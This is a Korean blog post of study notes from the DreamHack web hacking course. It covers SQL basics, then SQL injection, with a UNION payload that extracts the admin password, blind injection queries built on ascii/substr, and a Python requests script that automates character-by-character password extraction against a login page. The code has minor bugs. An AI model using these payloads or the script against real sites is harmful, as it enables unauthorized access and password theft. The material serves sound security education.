본문 바로가기

Web_Hacking/DreamHack

8. SQL Injection1

SQL(Structured Query Language)

  • RDBMS의 데이터를 정의하고 질의, 수정 등을 하기 위해 고안된 언어
  • DDL, DML, DCL로 구성됨

DDL

  • 데이터베이스 생성(CREATE)
CREATE DATABASE JHDB;
  • 테이블 생성
UDE JHDB;

CREATE TABLE List(
 num INT AUTO_INCREMENT,
 name varchar(20) NOT NULL,
 PRIMARY KEY(num)
 );

 

 DML

  • 테이블 데이터 생성(Insert)
INSERT INTO
 List(name)
  Values(
   'ggomi'
   );
  • 테이블 데이터 조회(Select)
SELECT name FROM List where num=1;
  • 테이블 데이터 수정(Update)
UPDATE List SET
 name='smart' where num=1;

 

SQL Injection

  • SQL 구문에 임의의 문자열을 삽입하여 인증을 우회하거나 정보를 유출하는 공격

Simple SQL Injection

admin의 passwd 찾기

  • query문 : ' UNION Select upw from user_table where uid='admin'--

결과

 

Blind SQL Injection

  • DBMS가 답변 가능한 현태로 sql문을 작성하여 원하는 정보를 유출하는 방식
  • ASCII / 전달된 문자를 아스키 형태로 반환하는 함수
    • ascii('a') = 97
  • substr / 문자열에서 지정한 위치부터 길이까지의 값을 가져옴
    • substr(string, position, length)
    • substr('abcd',2,2) = 'bc'
  • Blind SQL Injection EX
# 첫 번째 글자 구하기 (아스키 114 = 'r', 115 = 's')
SELECT * FROM user_table WHERE uid='admin' and ascii(substr(upw,1,1))=114-- ' and upw=''; # False
SELECT * FROM user_table WHERE uid='admin' and ascii(substr(upw,1,1))=115-- ' and upw=''; # True
# 두 번째 글자 구하기 (아스키 115 = 's', 116 = 't')
SELECT * FROM user_table WHERE uid='admin' and ascii(substr(upw,2,1))=115-- ' and upw=''; # False
SELECT * FROM user_table WHERE uid='admin' and ascii(substr(upw,2,1))=116-- ' and upw=''; # True
  • 로그인 성공 여부로 참/거짓 판별가능(and 구문이기때문에 2조건 모드 true일때 로그인 성공)

 

 Blind SQL Injection Script

  • Blind SQL Injection은 한 바이트씩 비교하여 공격하는 방식이기 때문에 다른 공격에 비해 많은 시간이 필요
  • 공격을 자동화하는 스크립트 작성 - requests 모듈 활용 ( 다양한 메소드를 사용하여 http 요청, 응답확인 가능)
import requests
url = 'https://dreamhack.io/' 
 //공격 url
 
headers = {
    'Content-Type': 'application/x-www-form-urlencoded',
    'User-Agent': 'DREAMHACK_REQUEST'
}
params = {
    'test': 1,
}
for i in range(1, 5):
    c = requests.get(url + str(i), headers=headers, params=params)
    print(c.request.url)
    print(c.text)
  • requests.get은 GET메소드를 사용해 http요청을 보내는 함수
import requests
url = 'https://dreamhack.io/'
headers = {
    'Content-Type': 'application/x-www-form-urlencoded',
    'User-Agent': 'DREAMHACK_REQUEST'
}
data = {
    'test': 1,
}
for i in range(1, 5):
    c = requests.post(url + str(i), headers=headers, data=data)
    print(c.text)
  • requests.post는 POST메소드를 사용해 http 요청을 보내는 함수

 

#!/usr/bin/python3
import requests
import string
# example URL
url = 'http://example.com/login'
params = {
    'uid': '',
    'upw': ''
}
# abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789!"#$%&\'()*+,-./:;<=>?@[\\]^_`{|}~
tc = string.ascii_letters + string.digits + string.punctuation
# 사용할 SQL Injection 쿼리
query = '''
admin' and ascii(substr(upw,{idx},1))={val}--
'''
password = ''
# 비밀번호 길이는 20자 이하라 가정
for idx in range(0, 20):
    for ch in tc:
        # query를 이용하여 Blind SQL Injection 시도
        params['uid'] = query.format(idx=idx, val=ord(ch)).strip("\n")
        #ord함수:하나의 문자를 인자로 받고 ㅈ해당 문자에 해당하는 유니코드 정수 반환
        #strip함수 : 인자에 들어오는 값 제거
        c = requests.get(url, params=params)
        print(c.request.url)
        # 응답에 Login success 문자열이 있으면 해당 문자를 password 변수에 저장
        if c.text.find("Login success") != -1:
            password += chr(ch)
            break
print(f"Password is {password}")
  • 비밀번호에 포함될 수 있는 문자를 string모듈을 사용해 생성
  • 한바이트씩 문자를 비교하여 확인

'Web_Hacking > DreamHack' 카테고리의 다른 글

7. csrf-2  (0) 2023.07.29
6. csrf-1  (0) 2023.07.29
5. xss-2 (xss 우회)  (0) 2023.07.23
4. xss-1  (0) 2023.07.22
3.cookie-basic  (0) 2022.12.30